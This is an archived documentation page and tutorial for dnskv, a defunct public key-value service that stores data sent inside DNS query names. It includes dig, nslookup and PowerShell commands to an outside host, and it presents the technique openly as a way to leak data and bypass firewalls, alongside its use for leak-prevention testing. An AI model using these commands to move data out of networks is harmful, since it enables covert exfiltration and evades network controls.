This is archive copy, the project has been terminated. But I'm happy to share the source code(s) if anyone is interested.
____ _ _ ____ _ ___ __
| _ \| \ | / ___|| |/ \ \ / /
| | | | \| \___ \| ' / \ \ / /
| |_| | |\ |___) | . \ \ V /
|____/|_| \_|____/|_|\_\ \_/
The packet messaging service for true hackers. Simple and free to use.
Too complex? See: simplified tutorial
Structure:
Suffix all names with this domain:
options.value.key.
Insert:
value.key.
Query:
key.
Options:
- as option separator
u update secret
e exipiry
t ttl
d domain key (reserved for custom domains)
Update value:
usecret.value.key.
Key expiry is refreshed when value is updated
Time units:
s second(s) (default)
m minute(s)
h hour(s)
d day(s)
w week(s)
y year(s)
Unit without number specified, defaults as 1 unit
How to use / Examples:
Set updatetable key using update secret 'updatesecret' with value 'examplevalue' with key 'examplekey', with expiry of 1 day and ttl of 15 minutes
uupdatesecret-ed-t15m.examplevalue.examplekey.
For the simple examples, see the simplified tutorial
Misc fun & tech:
A, AAAA, TXT - set record
A, AAAA - check key or read value
A record value format 107-101-121 returns as 127.107.101.121
AAAA record value format 7365-6372-6574-736c-6561-6b21 returns as 2001:db8...
TXT - read value
Min expiry / TTL 1 minute
Max expiry / TTL 7 days
Default expiry 7 days / TTL 1 hour (updatable)
When keys expire, all related data is pruned from database
Logs - exceptions only (no IP addresses)
Backups - no data backups / copies
Rate limits - low (300 seconds window / RAM only)
Statistics - hourly summary statistics (no IP addresses / DNS names)
Status - terminated
SLA - best effort
Security - none. All data should be considered public
Guarantees - none
FAQ - yes, if someone asks any questions
Sample client - DNS Messenger (dnsmsg)
Guess what (TXT) ping. (TXT / A) hello. (TXT) key. and (TXT / A / AAAA) echo. addresses do
Time / date / caching - time. (TXT / A) date. (TXT / AAAA) and datetime. (TXT) - These addresses can be used to detect caching DNS servers which do not respect 1 second TTL. As well getting UTC time, date, datetime
Custom domains / subdomains - why not?
Private servers / instances - can be arranged
MVP - Can be quickly improved, if necessary
What is Domain Name System (DNS) @ Wikipedia
Default, minimum and maximum values can be retrieved with configuration query: max-ttl, def-ttl, min-ttl, max-expiry, def-expiry, min-expiry as value and cfg as key.
Echo - DNS data leak demonstration
Contact / Abuse / Feedback / Questions / Ideas / Tech Talk:
email: root at [the domain]
PGP: public key
dns txt: your-message.feedback.
Twitter: @dnskvcom
Matrix: DNSKV DevOps & support chat room
If you like this project, donations are welcome
XKCD #1810 is missing DNS.
Last update - 2023-12-25
kw: database, data storage, key-value, datastore, store, man page, guide, documentation, instructions, how to, anonymous, open, privacy, dnskv.com, open, pastebin, transfer, bypass firewall, firewalls, cache, DNS, global, caching, channel, CDN, infrastructure, covert, exfiltration, no tcp, https, http, detection, exfil, exfiltration.
Leaking / transferring data over DNS simplified tutorial - dnskv
In many discussions, it immediately came clear that many people aren't familiar with DNS and more comprehensive usage tutorial is required.
Simplest of all the echo service using dig, nslookup and powershell to make a txt record DNS query.
Examples
Using dig (Linux, Mac):
dig txt +short the-secret-message.echo.dnskv.com
Using nslookup via cmd (Old school cmd, Windows):
nslookup -q=txt the-secret-message.echo.dnskv.com
Using PowerShell (The modern way, Windows):
Resolve-DnsName -Type txt -Name the-secret-message.echo.dnskv.com | Where-Object {$_.QueryType -eq '16'} | select Strings
Storing value
Use the samples above, but replace the word echo with your-secret-key. Then the value will be stored on the server for a week with that key. The storage is shared, and you can't overwrite existing values. So use key which isn't yet used. Do not copy paste directly the default values, unless you're using the echo service, which doesn't store anything in the database.
Retrieving value using key
Remove the the-secret-message from the queries above. And replace it with the secret key you've used when storing the value. Then the query should be like:
your-secret-key.dnskv.com
To get sample response, we've set the key hello for you already. Try it out, make a txt query to address:
hello.dnskv.com
Using Android device, all the use cases above do work using Network Analyzer, it allows you directly to select dns txt query. Then you'll just enter the addresses as above, with required modifications if desired. Address use:
the-secret-message.echo.dnskv.com
With iPhone use Deep Dig. When querying, add txt after the host name. Example:
the-secret-message.echo.dnskv.com txt
Limitations
The address segments can be up to 63 characters long, and only alphabet, numbers and dash (but not as first character) are allowed. There are limitations which come from the DNS system. The key and value aren't case sensitive. Do not use base64, it won't work. Use the base36 instead.
FYI
Setting the value can be done using any device / program which is able to make a dns query. In some cases it's prevented by the network administration. But in most of cases it isn't. Even if the program says, it's unable to connect, the query and the related data (key, value) was probably sent when it made the query. This can be used to bypass firewalls and network restrictions in cases where those aren't properly done.
The key space is shared between all users. Do not use keys which are easy to guess or probably will overlap with other users keys. The key value pairs will automatically expire in a week.
Do not first query the value to see if it's reserved and then try to set it and query again. The information is efficiently cached. Which means that you'll get the old response from cache. Always set the key value pair first and only after setting it to desired value, query it to check the results.
There are a few more advanced options, but that's out of the scope of this simple tutorial, see the dnskv.com project page for more information details.
Last update - 2023-01-23
kw: dnskv usage instructions manual tutorial simplified guide faq how to learn learning exfil exfiltration.
Alt lang: AR, CH, ES, FR, JP, RU (not archived here, but were earlier available)
The echo.dnskv.com can be used to easily demonstrate how data leak over DNS works.
Send a DNS query with type to:
Type: TXT
Addr: this-is-my-secret.echo.dnskv.com
Type: A
Addr: 107-101-121.echo.dnskv.com
Type: AAAA
Addr: 7365-6372-6574-736c-6561-6b21.echo.dnskv.com
The server receives the data, and echoes it back as proof in the reply packet.
If free key other than echo would have been used, the data would have been saved by the server and been ready for anyone else to retrieve from the server.
This address can be also used for data leak over DNS prevention testing.
The echo. queries aren't logged or saved in the database.
For more information see simplified tutorial.
Last update - 2023-01-23 (of documentation)
2026-01-04 (to blog)